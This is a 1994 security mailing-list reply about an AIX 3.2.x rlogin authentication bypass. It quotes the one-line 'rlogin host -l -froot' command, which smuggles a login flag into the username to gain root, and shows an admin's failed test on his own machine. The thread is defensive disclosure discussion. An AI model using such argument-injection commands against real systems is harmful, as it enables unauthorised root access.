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Re: -froot??? (AIX rlogin bug)
From: haiut () CS bgu ac il (Alexander Haiut)
Date: Sat, 30 Jul 1994 18:14:01 +0200 (GMT+0200)


On Fri, 29 Jul 1994, Eric Wedaa wrote:

[header deleted]
Someone over on the firewalls mailing list just threw out this tidbit:

 rlogin aix.machine -l -froot

  huh.. yes, i've heard about this bug a few months ago,
  and read it on firewalls mailing list once again.. :)

For instance:

 rlogin foobar -l -froot

This gives you root access on any AIX 3.2.X machine.
[...]
Ericw

  sure, i've tested it immidietly, but.. at least on my
  AIX it fails.. any ideas ?
  here are my attempts :

        skyblue% /bin/rlogin skyblue -l -froot
        login: Not a recognized flag: r
        3004-023 -"r" is not a valid option to login.

        Connection closed.

        skyblue% uname -nsvr
        AIX skyblue 2 3


  [using /bin/rlogin 'coz /usr/bin/rlogin and /usr/ucb/rlogin   ]
  [are both symbolic links to /bin/rlogin ..                    ]       

  should i (as an admin) be happy that bug is closed on AIX
  version i use, or ... where am i wrong ?
  thanx a lot in advance !

                                                --alx.

  Alexander L. Haiut                    
  Ben-Gurion University of the Negev,
  Beer-Sheva, Israel
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